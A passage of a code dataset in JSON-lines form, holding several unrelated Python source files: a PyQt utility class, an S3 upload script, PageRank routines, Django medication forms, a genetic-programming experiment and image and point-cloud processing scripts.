TEACHER_TABLE:\n print('* {}. id - {}, first name - {}, last name - {}, phone number - {}'\n .format(i + 1, item.id, item.first_name, item.last_name, item.phone_number))\n\n elif name == TEACHER_SUBJECT_TABLE:\n print('* {}. id - {}, id_teacher - {}, id_subject - {}'\n .format(i + 1, item.id, item.teacher.id, item.subject.id))\n\n elif name == STUDENT_SUBJECT_TABLE:\n print('* {}. id - {}, id_student - {}, id_subject - {}'\n .format(i + 1, item.id, item.student.id, item.subject.id))\n\n elif name == SUBJECT_GROUP_TABLE:\n print('* {}. id - {}, id_group - {}, id_subject - {}'\n .format(i + 1, item.id, item.group.id, item.subject.id))\n else:\n print('There is no such {}.'.format(name))\n\n @staticmethod\n def show_number_exception(num):\n print('Entered value - {} is not a NUMBER'.format(num))\n\n def display_item_deletion(self, item, name):\n if item is not None:\n print('--------------------------------------------------------------')\n print('We have just removed {} from our database'.format(name))\n self.show_item(item, 0, name)\n print('--------------------------------------------------------------')\n else:\n print('There is no element to delete.')\n\n @staticmethod\n def display_value_exception(field):\n print('--------------------------------------------------------------')\n print('Your provided value is empty or wrong - {}'.format(field))\n print('--------------------------------------------------------------')\n\n @staticmethod\n def display_fk_exception():\n print('--------------------------------------------------------------')\n print('Your provided foreign ids are incorrect ')\n print('--------------------------------------------------------------')\n\n @staticmethod\n def display_date_error():\n print('--------------------------------------------------------------')\n print('Your provided value is not a date')\n print('--------------------------------------------------------------')\n\n def display_generation_error(self, table_name):\n print('--------------------------------------------------------------')\n print(\"Error generating data for - {} table\".format(table_name))\n print('--------------------------------------------------------------')\n\n def display_exception(self, table_name, exception):\n print('--------------------------------------------------------------')\n print(\"Error occurred while performing operation on table - {}\".format(table_name))\n print(\"Error - {}\".format(exception.args[0]))\n print('--------------------------------------------------------------')\n\n def show_student_search_result(self, res, execution_time):\n print('--- STUDENTS LIST ---')\n if res is not None:\n for i, item in enumerate(res):\n print('* {}. id - {}, first name - {}, last name - {}, sex - {}' \\\n 'date of birth - {}, group name - {}, group id - {}'\n .format(i + 1, item['id'], item['first_name'], item['last_name'], item['sex'],\n item['date_of_birth'], item['group_name'], item['group_id']))\n print('Search duration - {}'.format(execution_time))\n else:\n print('Search result is empty')\n\n def show_teachers_search_result(self, res, execution_time):\n print('--- TEACHERS LIST ---')\n if res is not None:\n for i, item in enumerate(res):\n print('* {}. id - {}, first name - {}, last name - {}, phone number - {}' \\\n 'subject name - {}, subject credits - {}, subject id - {}'\n .format(i + 1, item['id'], item['first_name'], item['last_name'], item['phone_number'],\n item['subject_name'], item['credits'], item['id_subject']))\n print('Search duration - {}'.format(execution_time))\n else:\n print('Search result is empty')\n\n def show_students_teachers_search_result(self, res, execution_time):\n print('--- STUDENTS LIST WITH TEACHER, GROUP and SUBJECT ---')\n if res is not None:\n for i, item in enumerate(res):\n print('* {}. id - {}, student first name - {}, student last name - {}, student date of birth - {}' \\\n 'group name - {}, group id - {}, subject id - {}, subject name - {}, teacher id - {}, '\n ' teacher first name - {}, teacher last name - {},'\n .format(i + 1, item['id_student'], item['first_name_s'], item['last_name_s'],\n item['date_of_birth'],\n item['group_name'], item['id_group'], item['id_subject'], item['sb_name'],\n item['id_teacher'], item['first_name_t'], item['last_name_t']))\n print('Search duration - {}'.format(execution_time))\n else:\n print('Search result is empty')\n","sub_path":"lab2/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":15414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"641398268","text":"# coding=utf-8\nfrom ejercicio2 import *\nfrom ejercicio3 import *\nimport numpy as np\n\ndef main():\n\n\topcion = \"\"\n\topcion2 = \"\"\n\tprint('Redes Neuronales: Clasificación de Patrones.\\n\\n')\n\tprint('El primer conjunto de datos (1) corresponde a la clasificación\\n')\n\tprint('de puntos (x,y) según la región a la que pertenecen, mientras que el\\n')\n\tprint('segundo conjunto de datos (2) corresponde a clasificación de\\n')\n\tprint('Iris según su clase.\\n\\n')\n\twhile opcion == \"\":\n\t\tprint('Seleccione el conjuto de datos de su preferencia:\\n')\n\t\topcion = input('')\n\t\tif opcion == \"1\":\n\t\t\tejercicio2()\n\t\telif opcion == \"2\":\n\t\t\twhile opcion2 == \"\":\n\t\t\t\tprint('\\n')\n\t\t\t\tprint('Seleccione la clasificación deseada:\\n')\n\t\t\t\tprint('1) Iris Setosa \\n')\n\t\t\t\tprint('2) Iris Setosa, Iris Versicolor e Iris Virginica \\n')\n\t\t\t\topcion2 = input('')\n\t\t\t\tif opcion2 == \"1\" or opcion2 == \"2\":\n\t\t\t\t\tejercicio3(opcion2)\n\t\t\t\t\tprint(\"\")\n\t\t\t\telse:\n\t\t\t\t\tprint('Debe introducir \\'1\\' o \\'2\\' \\n')\n\t\t\t\t\topcion2 = \"\"\n\t\telse:\n\t\t\tprint('\\nDebe introducir \\'1\\' o \\'2\\' \\n')\n\t\t\topcion = \"\"\n\nif __name__ == \"__main__\":\n main()","sub_path":"Proyecto2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"454883150","text":"import boto\nimport os\nfrom argparse import ArgumentParser\n\n\ndef parse_input_arguments():\n arg_parser = ArgumentParser()\n\n arg_parser.add_argument(\n '--from', dest='from_', required=True,\n help='From where to pull data'\n )\n\n arg_parser.add_argument(\n '--to', dest='to', required=False,\n help='Where yo upload it', default=\"\"\n )\n\n arg_parser.add_argument(\n '--bucket', dest='bucket', required=True,\n help='To which bucket'\n )\n\n arg_parser.add_argument(\n '--aws-key', dest='aws_key', required=True,\n help='Amazon key'\n )\n\n arg_parser.add_argument(\n '--aws-secret', dest='aws_secret', required=False,\n help='Define amazon secret', default=None\n )\n\n return arg_parser.parse_args()\n\nif __name__ == '__main__':\n args = parse_input_arguments()\n AWS_ACCESS_KEY_ID = args.aws_key\n AWS_ACCESS_KEY_SECRET = args.aws_secret\n\n BUCKET_NAME = args.bucket\n SOURCE_DIR = args.from_\n DEST_DIR = args.to\n\n conn = boto.connect_s3(AWS_ACCESS_KEY_ID, AWS_ACCESS_KEY_SECRET)\n bucket = conn.get_bucket(BUCKET_NAME)\n\n upload_files = []\n\n for root, dirs, files in os.walk(SOURCE_DIR):\n for f in files:\n fullpath = os.path.join(root, f)\n upload_files.append(fullpath)\n\n\n for filename in upload_files:\n dest_path = filename.replace(SOURCE_DIR, \"\")\n\n k = boto.s3.key.Key(bucket)\n k.key = dest_path.replace(SOURCE_DIR, \"\")\n\n k.set_contents_from_filename(filename)\n","sub_path":"tools/s3/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"511369526","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/py3plex/algorithms/node_ranking/node_ranking.py\n# Compiled at: 2019-02-24 13:10:35\n# Size of source mod 2**32: 5317 bytes\nimport numpy as np, networkx as nx\nimport scipy.sparse as sp\nfrom itertools import product\n\ndef stochastic_normalization(matrix):\n matrix = matrix.tolil()\n try:\n matrix.setdiag(0)\n except TypeError:\n matrix.setdiag(np.zeros(matrix.shape[0]))\n\n matrix = matrix.tocsr()\n d = matrix.sum(axis=1).getA1()\n nzs = np.where(d > 0)\n k = 1 / d[nzs]\n matrix = sp.diags(k, 0).tocsc().dot(matrix).transpose()\n return matrix\n\n\ndef stochastic_normalization_hin(matrix):\n matrix = matrix.tolil()\n try:\n matrix.setdiag(0)\n except TypeError:\n matrix.setdiag(np.zeros(matrix.shape[0]))\n\n matrix = matrix.tocsr()\n d = matrix.sum(axis=1).getA1()\n nzs = np.where(d > 0)\n d[nzs] = 1 / d[nzs]\n matrix = sp.diags(d, 0).tocsc().dot(matrix).transpose()\n return matrix\n\n\ndef modularity(G, communities, weight='weight'):\n return 1\n\n\ndef page_rank_kernel(index_row):\n pr = sparse_page_rank(G, [index_row], epsilon=1e-06,\n max_steps=100000,\n damping=damping_hyper,\n spread_step=spread_step_hyper,\n spread_percent=spread_percent_hyper,\n try_shrink=True)\n norm = np.linalg.norm(pr, 2)\n if norm > 0:\n pr = pr / np.linalg.norm(pr, 2)\n return (\n index_row, pr)\n return (\n index_row, np.zeros(graph.shape[1]))\n\n\ndef sparse_page_rank(matrix, start_nodes, epsilon=1e-06, max_steps=100000, damping=0.5, spread_step=10, spread_percent=0.3, try_shrink=False):\n if not len(start_nodes) > 0:\n raise AssertionError\n else:\n size = matrix.shape[0]\n if start_nodes is None:\n start_nodes = range(size)\n nz = size\n else:\n nz = len(start_nodes)\n start_vec = np.zeros((size, 1))\n start_vec[start_nodes] = 1\n start_rank = start_vec / len(start_nodes)\n rank_vec = start_vec / len(start_nodes)\n shrink = False\n which = np.zeros(0)\n if try_shrink:\n v = start_vec / len(start_nodes)\n steps = 0\n while nz < size * spread_percent and steps < spread_step:\n steps += 1\n v += matrix.dot(v)\n nz_new = np.count_nonzero(v)\n if nz_new == nz:\n shrink = True\n break\n nz = nz_new\n\n rr = np.arange(matrix.shape[0])\n which = (v[rr] > 0).reshape(size)\n if shrink:\n start_rank = start_rank[which]\n rank_vec = rank_vec[which]\n matrix = matrix[:, which][which, :]\n diff = np.Inf\n steps = 0\n while diff > epsilon and steps < max_steps:\n steps += 1\n new_rank = matrix.dot(rank_vec)\n rank_sum = np.sum(new_rank)\n if rank_sum < 0.999999999:\n new_rank += start_rank * (1 - rank_sum)\n new_rank = damping * new_rank + (1 - damping) * start_rank\n new_diff = np.linalg.norm(rank_vec - new_rank, 1)\n diff = new_diff\n rank_vec = new_rank\n\n if try_shrink and shrink:\n ret = np.zeros(size)\n rank_vec = rank_vec.T[0]\n ret[which] = rank_vec\n ret[start_nodes] = 0\n return ret.flatten()\n rank_vec[start_nodes] = 0\n return rank_vec.flatten()\n\n\ndef hubs_and_authorities(graph):\n return nx.hits_scipy(graph)\n\n\ndef hub_matrix(graph):\n return nx.hub_matrix(graph)\n\n\ndef authority_matrix(graph):\n return nx.authority_matrix(graph)","sub_path":"pycfiles/py3quizlet2-0.1.tar/node_ranking.cpython-37.py","file_name":"node_ranking.cpython-37.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"246327536","text":"# 해당 라이브러리 사용하기 위한 조건\n# 1. 기본 라이브러리 사용\n# 2. pyQt 사용시 타이머 재연결 기능 제공\n# 3. pyQt 이외의 기본 타이머로 재연결 기능 제공\n\nimport os\nfrom typing import TypeVar\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QLabel, QWidget, QStackedWidget, QMainWindow\nfrom PyQt5.QtCore import QTimer\nimport threading\nimport time\n\n# T타입은 QMainWindow, 메인프로그램 객체를 의미하며 윈도우에서는 사용하지 않습니다.\n# 리눅스 전용입니다.\nT = TypeVar(\"T\", bound=QMainWindow)\n\n\nclass QtTools:\n \"\"\"\n ### QtTools 클레스는 PyQt를 사용시 자주사용하는 기능들을 모아놓았습니다.\n \"\"\"\n\n def set_interval_qt(self, time: int, callback):\n \"\"\"\n ### set_interval_qt 메소드는 PyQt에서 Timer(주기적으로 함수실행)를 필요로할때\n ### 간단히 만들어주는 객체입니다.\n\n\n ### 메소드 사용시 필요한 인자\\n\n time =>\n 타입 : 정수형\n 설명 : time에서 선언한 주기마다 callback(콜백)함수를 실행합니다.\n\n callback =>\n 타입 : 함수형\n 설명 : 주기적으로 실행시킬 함수나 메소드를 넣습니다.\n\n 반환값 : QTimer객체\n \"\"\"\n try:\n qt_timer = QTimer()\n qt_timer.setInterval(time)\n qt_timer.timeout.connect(callback)\n return qt_timer\n except Exception as err:\n print(\n \"\"\"\n ----------------Interval Error-----------------\n \"\"\"\n )\n print(err)\n print(\n \"\"\"\n -----------------------------------------------\n \"\"\"\n )\n\n # 매계변수설명\n # time = 시간 ms\n # callback = 콜백함수 (꼭 함수이름를 넣어야함 괄호 사용 불가)\n def set_interval_normal(self, time: int, callback):\n \"\"\"\n ### set_interval_normal 메소드는 일반적인 타이머를 필요로할때\n ### 간단히 만들어주는 메소드입니다.\n\n ### 메소드 사용시 필요한 인자\\n\n time =>\n 타입 : 정수형\n 설명 : time에서 선언한 주기마다 callback(콜백)함수를 실행합니다.\n\n callback =>\n 타입 : 함수형\n 설명 : 주기적으로 실행시킬 함수나 메소드를 넣습니다.\n\n 반환값 : Thread.Timer객체\n \"\"\"\n try:\n normal_timer = threading.Timer(interval=time, function=callback)\n return normal_timer\n except Exception as err:\n print(\n \"\"\"\n ----------------Interval Error-----------------\n \"\"\"\n )\n print(err)\n print(\n \"\"\"\n -----------------------------------------------\n \"\"\"\n )\n\n\nclass QtEventTools:\n \"\"\"\n ### QtEventTools 클레스는 PyQt를 자주사용하는 이벤트 기능들을 모아놓았습니다.\n \"\"\"\n\n # 설명 : 다른 위젯으로 페이지 이동할 때 사용\n # 매계변수의 타입을 설정하시고, 타입을 모르겠으면 Qt Designer 객체 탐��기 슬롯을 확인하세요.\n # ------------------------------------------\n # 매계변수 설명\n # currentPage = 현재 페이지 QWidget객체\n # nextPage = 다음 페이지 QWidget객체\n def move_page(self, pagewidget: QStackedWidget, nextPage: QWidget) -> None:\n \"\"\"\n ### move_page 메소드는 일반적인 다음 화면으로 넘어가기위해\n ### 간단히 만들어줄 메소드입니다.\n\n ### 메소드 사용시 필요한 인자\\n\n pagewidget =>\n 타입 : QStackedWidget\n 설명 : 페이지 위젯 객체(다음 페이지의 상위객체)를 입력합니다. (Qt디자이너 객체탐색기 참고.)\n\n nextPage =>\n 타입 : QWidget\n 설명 : 다음 화면으로 넘길 객체를 입력합니다.\n\n 반환값 : 없음\n \"\"\"\n try:\n pagewidget.setCurrentWidget(nextPage)\n except Exception as err:\n print(\n \"\"\"\n ----------------MovePage Error-----------------\n \"\"\"\n )\n print(err)\n print(\n \"\"\"\n -----------------------------------------------\n \"\"\"\n )\n\n # 설명 : 라벨 텍스트를 바꿀 때는 reapint()를 넣어주어야함\n # 매계변수의 타입을 설정하시고, 타입을 모르겠으면 Qt Designer 객체 탐색기 슬롯을 확인하세요.\n # ------------------------------------------\n # 매계변수 설명\n # labelObj = 라벨 객체\n # text = 라벨 객체에 새로 바꿀 텍스트\n def set_text(self, widgetObj: object, text: str):\n \"\"\"\n ### set_text 메소드는 텍스트를 바꿀 때 사용하는 메소드입니다.\n ### 기본적으로 Label객체 이외에는 repaint()메소드를 사용할 필요가 없지만,\n ### Label객체같은경우, repaint()를 사용해야만 Qt에서 버그가 일어나지 않는다.\n ### * setText 메소드가 없는 위젯 객체일 경우 해당 메소드가 없다는 오류를 발생시킨다.\n\n ### 메소드 사용시 필요한 인자\\n\n widgetObj =>\n 타입 : object\n 설명 : PyQt에서 제공하는 모든위젯이며, 텍스트를 바꾸기 위한 객체를 입력한다.\n\n text =>\n 타입 : 문자열\n 설명 : 위젯에 설정 할 문자열을 넣는다.\n\n 반환값 : 없음\n \"\"\"\n try:\n widgetObj.setText(text)\n\n if isinstance(widgetObj, (QLabel,)) == True:\n widgetObj.repaint()\n\n except Exception as err:\n print(\n \"\"\"\n ----------------SetText Error-----------------\n \"\"\"\n )\n print(err)\n print(\n \"\"\"\n -----------------------------------------------\n \"\"\"\n )\n\n def timespan_to_dict(self, timespan: float) -> dict:\n \"\"\"\n ### timespan_to_dict 메소드는 초를 시, 분, 초로 바꿀 때 사용하는 메소드입니다.\n ### 주로 타이머나 시간과 관련된 기능을 구현할 때 사용하면 편리합니다.\n\n ### 메소드 사용시 필요한 인자\\n\n timespan =>\n 타입 : 실수형\n 설명 : 시,분,초를 모두 초로 만들어 계산된 값을 넣습니다,\n\n 반환값 : 딕셔너리 객체 ( {시, 분, 초}가 들어있는 객체 )\n \"\"\"\n try:\n return {\n \"hour\": time.strftime(\"%H\", time.gmtime(timespan)),\n \"min\": time.strftime(\"%M\", time.gmtime(timespan)),\n \"sec\": time.strftime(\"%S\", time.gmtime(timespan)),\n }\n except Exception as err:\n print(\n \"\"\"\n ----------------Time Chnage Error-----------------\n \"\"\"\n )\n print(err)\n print(\n \"\"\"\n ---------------------------------------------------\n \"\"\"\n )\n\n def program_off(self, mainObj: T):\n \"\"\"\n ### program_off 메소드는 프로그램 종료를 구현할때 사용되는 메소드입니다.\n ### * 윈도우 운영체제에서는 사용이 불가능합니다.\n\n ### 메소드 사용시 필요한 인자\\n\n mainObj =>\n 타입 : 메인 객체\n 설명 : 현재 프로그램의 뿌리가 되는 메인객체를 넣습니다.\n\n 반환값 : 없음\n \"\"\"\n mainObj.close()\n pid = os.getpid()\n os.system(\"kill -9 \" + str(pid))\n\n # 윈도우 사용 X 리눅스 O\n # 설명 : 전원종료\n # 매계변수의 타입을 설정하시고, 타입을 모르겠으면 Qt Designer 객체 탐색기 슬롯을 확인하세요.\n # ------------------------------------------\n # 매계변수 설명\n # 없음\n def shut_down(self):\n \"\"\"\n ### shut_down 메소드는 시스템 종료를 구현할때 사용되는 메소드입니다.\n ### * 윈도우 운영체제에서는 사용이 불가능합니다.\n\n ### 메소드 사용시 필요한 인자 : 없음\n\n 반환값 : 없음\n \"\"\"\n os.system(\"shutdown -h now\")\n\n # 윈도우 사용 X 리눅스 O\n # 설명 : 시스템 재시작\n # 매계변수의 타입을 설정하시고, 타입을 모르겠으면 Qt Designer 객체 탐색기 슬롯을 확인하세요.\n # ------------------------------------------\n # 매계변수 설명\n # 없음\n def reboot(self):\n \"\"\"\n ### reboot 메소드는 시스템 종료를 구현할때 사용되는 메소드입니다.\n ### * 윈도우 운영체제에서는 사용이 불가능합니다.\n\n ### 메소드 사용시 필요한 인자 : 없음\n\n 반환값 : 없음\n \"\"\"\n self.conn.close()\n self.ser.close()\n os.system(\"reboot\")\n","sub_path":"PyMqtt/QtTools.py","file_name":"QtTools.py","file_ext":"py","file_size_in_byte":9279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"206291665","text":"\nimport asyncio\nimport time\nimport re\n\n# Not used here, but will be required for the next steps\nfrom indy import crypto, did, wallet\nfrom identity import ID\nfrom write_did_functions import create_wallet, create_did_and_verkey\n\nasync def init():\n me = await ID()\n \n # 1. Create Wallet and Get Wallet Handle\n\n me = await create_wallet(me)\n print('wallet = %s' % me['wallet'])\n me = await create_did_and_verkey(me)\n their = input(\"Other party's DID and verkey? \").strip().split(' ')\n them = {'did': their[0] ,\n 'verkey': their[1]}\n\n return me,them\n\nasync def prep(me,them,msg):\n msg = bytes(msg, \"utf-8\")\n encrypted = await crypto.auth_crypt(me['wallet'],me['verkey'],them['verkey'], msg)\n # encrypted = await crypto.anon_crypt(their_vk, msg)\n print('encrypted = %s' % repr(encrypted))\n with open('message.dat', 'wb') as f:\n f.write(encrypted)\n print('prepping %s' % msg)\n\n \nasync def read(me):\n with open('message.dat', 'rb') as f:\n encrypted = f.read()\n decrypted = await crypto.auth_decrypt(me['wallet'],me['verkey'], encrypted)\n # decrypted = await crypto.anon_decrypt(wallet_handle, my_vk, encrypted)\n print(decrypted)","sub_path":"Demo/send_secure_msg_functions.py","file_name":"send_secure_msg_functions.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"81537737","text":"\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom careplus.medications.models import Medication, MedicationCompletion, MedicationTime\nfrom extra_views import InlineFormSet\nfrom django.forms import ModelForm\nfrom datetime import datetime\n\n\nclass MedicationForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super(MedicationForm, self).__init__(*args, **kwargs)\n self.fields['medicationName'].required = True\n self.fields['medicationDosage'].required = True\n self.fields['medicationFrequency'].required = True\n self.fields['medicationStartDate'].required = True\n self.fields['medicationDistribution'].required = True\n self.fields['medicationDosage'].required = True\n self.fields['medicationQuantity'].required = True\n self.fields['medicationType'].required = True\n self.fields['medicationDiscontinuedStatus'].required = True\n\n class Meta:\n model = Medication\n fields = ['medicationName', 'medicationDosage', 'medicationFrequency', 'medicationStartDate', 'medicationDistribution', 'medicationTimeSchedule', 'medicationTimeSchedule2', 'medicationTimeSchedule3', 'medicationTimeSchedule4', 'medicationTimeSchedule5', 'medicationTimeSchedule6', 'medicationQuantity', 'medicationType', 'medicationDiscontinuedStatus', 'medicationComment', 'medicationResident']\n\n\n# class StatusForm(forms.ModelForm):\n\n# class Meta:\n# model = MedicationCompletion\n# fields = ['completionStatus', 'completionStatus2', 'completionNote', 'completionMedication']\n\nclass StatusForm(forms.ModelForm):\n\n\n class Meta:\n model = MedicationCompletion\n fields = ['completionStatus', 'completionRx', 'completionNote', 'completionMedication', 'completionDate']\n\nclass MedicationStatusForm(forms.ModelForm):\n\n medicationName = forms.CharField(\n widget=forms.TextInput(attrs={'class': 'form-control'}),\n max_length=50)\n\n medicationComment = forms.CharField(\n widget=forms.Textarea(attrs={'class': 'form-control'}),\n max_length=500)\n\n\n\nclass StatusFormSet(InlineFormSet):\n model = MedicationCompletion\n max_num = 1\n","sub_path":"careplus/medications/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"254366040","text":"import itertools\nimport random as rnd\nfrom typing import Dict\n\nimport numpy as np\n\nimport gprog\n\n\nclass FindFun(gprog.RandomLenPG):\n\n def __init__(self, max_iters, ngens, npob, pmut, terminals, fun, variables, eps, certain, max_height,\n ops=(gprog.my_add, gprog.my_sub, gprog.my_mul)):\n super().__init__(ops, terminals, max_iters, ngens, npob, pmut, max_height=max_height, pter=0)\n self.fun = fun\n self.variables = variables\n self.eps = eps\n self.certain = certain\n\n def fitness_wrapper(self, example: gprog.AST, env=None):\n variables: Dict = self.variables.copy()\n ranges = {}\n for k in variables.keys():\n ranges[k] = np.linspace(variables[k][0], variables[k][1], self.certain)\n\n def myit():\n for t in itertools.product(*ranges.values()):\n yield dict(zip(variables.keys(), t))\n\n errors = []\n it = myit()\n for env in it:\n errors += [self.fun(**env) - example.interp(env)]\n errors = np.array(errors)\n return np.sum(errors * errors) / len(errors)\n\n def fitness(self, value):\n return None\n\n def reproduction(self, a: gprog.AST, b: gprog.AST):\n mins = [None, np.infty]\n\n childs_a = [a]\n childs_b = [b]\n if isinstance(a, gprog.Operation):\n childs_a.append(a.left)\n childs_a.append(a.right)\n if isinstance(b, gprog.Operation):\n childs_b.append(b.left)\n childs_b.append(b.right)\n\n for aa, bb in itertools.product(childs_a, childs_b):\n for op in self.ops:\n normal = gprog.Operation(op, aa, bb)\n rev = gprog.Operation(op, bb, aa)\n valt = self.fitness_wrapper(normal)\n if valt < mins[1] and len(normal) <= self.max_height:\n mins = [normal, valt]\n valt = self.fitness_wrapper(rev)\n if valt < mins[1] and len(rev) <= self.max_height:\n mins = [rev, valt]\n return mins[0]\n\n def main(self, debug=True):\n current = self.generate_initial()\n res = []\n for c in range(self.max_iters):\n scores = [self.fitness_wrapper(ex) for ex in current]\n tuples = list(zip(current, scores))\n tuples.sort(key=lambda x: x[1])\n res += [tuples[0][1]]\n print(tuples[0][0])\n if debug:\n print(f\"iterations = {c} , score = {tuples[0][1]}\")\n if tuples[0][1] < self.eps or c >= self.max_iters - 1:\n return c, tuples[0][0], np.array(res)\n selection = self.selection(tuples)\n new = []\n for _ in range(self.npob):\n a, b, *_ = rnd.choices(selection, k=2)\n child = self.reproduction(a, b)\n new += [child]\n current = new.copy()\n#\n#\n# prog = FindFun(1000, None, 500, 0.1, [1, 2, 'x'],\n# fun=lambda x: x ** 3 + 2 * x + 10, variables={'x': (-10, 10)}, eps=1, certain=10, max_height=4)\n# _, tree, _ = prog.main()\n# print(str(tree))\n\n\ndef experiment():\n import matplotlib.pyplot as plt\n heights = np.array([4, 5, 6, 7, 8, 9, 10])\n results = []\n dicc = {}\n\n for s in heights:\n tmp = []\n tmp2 = []\n for _ in range(3):\n prog = FindFun(20, None, 100, 0.05, [1, 2, 'x'],\n fun=lambda x: x ** 3 + 2 * x + 10, variables={'x': (-10, 10)}, eps=1, certain=10,\n max_height=s)\n its, tree, scores = prog.main()\n tmp += [its]\n tmp2 += [np.array(scores)]\n\n max_len = max([len(o) for o in tmp2])\n\n tmp3 = []\n for t in tmp2:\n zeros = np.zeros(max_len)\n zeros[:t.shape[0]] = t\n tmp3 += [zeros]\n tmp3 = np.array(tmp3)\n dicc[s] = np.median(tmp3, axis=0)\n tmp = np.array(tmp)\n results += [(np.mean(tmp), np.std(tmp))]\n print(f\"finished {s}\")\n results = np.array(results)\n a, b = map(list, zip(*results))\n plt.errorbar(heights, np.array(a), np.array(b), label=\"Altura maxima\", fmt='-o')\n plt.legend()\n plt.title(\"Encontrar función x**3 + 2x + 10\")\n plt.xlabel('Altura Maxima')\n plt.ylabel('Cantidad de iteraciones')\n plt.savefig('fun_general.png', dpi=300)\n plt.clf()\n\n for k, v in dicc.items():\n plt.plot(np.arange(v.size), v, '--o', label=f\"{k} Altura maxima\")\n plt.legend()\n plt.title(\"Evolución de Encontrar función x**3 + 2x + 10\")\n plt.xlabel('iteraciones')\n plt.ylabel('score')\n plt.savefig('fun_evolution.png', dpi=300)\n plt.clf()\n\nexperiment()","sub_path":"findFun.py","file_name":"findFun.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"424330833","text":"#!/usr/bin/python\nimport os, sys, re\nimport subprocess\n\nif len(sys.argv) != 3:\n print(\"Usage:\\n\\t\\t\" + sys.argv[0] + \" src_dir/ dst_dir/\\n\")\n sys.exit(1)\n\n# create output dir\nif not os.path.exists(sys.argv[2]):\n os.makedirs(sys.argv[2])\n\n# get file list of input dir\nimglst = os.listdir(sys.argv[1])\n\n# filter only pgm images\nregex = re.compile(\".*\\.raw$\", re.IGNORECASE)\nimglst = [f for f in imglst if regex.search(f)]\nimglst.sort()\n\n# split images\nfor i in range(len(imglst)):\n print(str(i/len(imglst)*100.0)[:5] + \"%\\t\" + imglst[i])\n #os.system(\"./stereo_pgm_to_png \" + sys.argv[1] + imglst[i] + \" \" + sys.argv[2] + imglst[i][:-4])\n subprocess.call([\"./stereo_raw_to_png\", sys.argv[1] + imglst[i], sys.argv[2] + imglst[i][:-4]])\n\n","sub_path":"scripts/split_stereo_pgm/split_raw_images.py","file_name":"split_raw_images.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"283761563","text":"\nimport argparse\nimport csv\nimport json\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nfrom pathlib import Path\nimport plyfile\nimport time\n\nfrom datasets import create_registration_dataset\nfrom registration_algorithm import AlgorithmFactory\nfrom util import run_subprocess\n\n\ndef make_axes_equal(xs, ys, zs, ax):\n \"\"\"\n Reads the data from xs, ys and zs, and adds bogus points so that the scale of the axes is equal.\n \"\"\"\n max_range = np.array([xs.max() - xs.min(), ys.max() - ys.min(), zs.max() - zs.min()]).max()\n\n # Make a bounding box so that the axes are equal.\n x_bound = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][0].flatten() + 0.5*(xs.max()+xs.min())\n y_bound = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][1].flatten() + 0.5*(ys.max()+ys.min())\n z_bound = 0.5*max_range*np.mgrid[-1:2:2,-1:2:2,-1:2:2][2].flatten() + 0.5*(zs.max()+zs.min())\n # Comment or uncomment following both lines to test the fake bounding box:\n for xb, yb, zb in zip(x_bound, y_bound, z_bound):\n ax.plot([xb], [yb], [zb], 'w')\n\ndef plot_ellipsoid(center, a, b, c, rotation_matrix, ax, color='b'):\n us = np.linspace(0.0, 2.0 * np.pi, 100)\n vs = np.linspace(0.0, np.pi, 100)\n\n xs = a * np.outer(np.cos(us), np.sin(vs))\n ys = b * np.outer(np.sin(us), np.sin(vs))\n zs = c * np.outer(np.ones_like(us), np.cos(vs))\n\n for i in range(len(xs)):\n for j in range(len(xs)):\n [xs[i,j], ys[i,j], zs[i,j]] = np.dot([xs[i,j], ys[i,j], zs[i,j]], rotation_matrix) + center\n\n ax.plot_wireframe(xs, ys, zs, rstride=4, cstride=4, color=color, alpha=0.2)\n\ndef plot_covariance_matrix(position, covariance, ax, color='b'):\n \"\"\"\n Plot an ellipsoid representing a covariance matrix.\n http://stackoverflow.com/a/14958796\n \"\"\"\n translation_covariance = covariance[0:3,0:3]\n eig_vals, eig_vecs = np.linalg.eig(translation_covariance)\n scales = np.sqrt(eig_vals)\n\n plot_ellipsoid(position, scales[0], scales[1], scales[2], eig_vecs, ax, color=color)\n\n\n\n\ndef read_pcl_file(path: Path):\n # Convert the pcd to ply\n new_path = path.parent / Path(path.stem + \".ply\")\n run_subprocess(\"pcl_pcd2ply {} {}\".format(path, new_path))\n\n ply = plyfile.PlyData.read(new_path.__str__())\n n_points = len(ply.elements[0].data)\n\n np_data = np.empty((4, n_points))\n for i in range(n_points):\n np_data[0,i] = ply.elements[0].data[i][0]\n np_data[1,i] = ply.elements[0].data[i][1]\n np_data[2,i] = ply.elements[0].data[i][2]\n np_data[3,i] = 1.0\n\n return np_data\n\n\ndef read_pcl_files(dataset, reading, reference):\n reading_path = dataset.path_of_cloud(args.reading)\n reference_path = dataset.path_of_cloud(args.reference)\n\n return 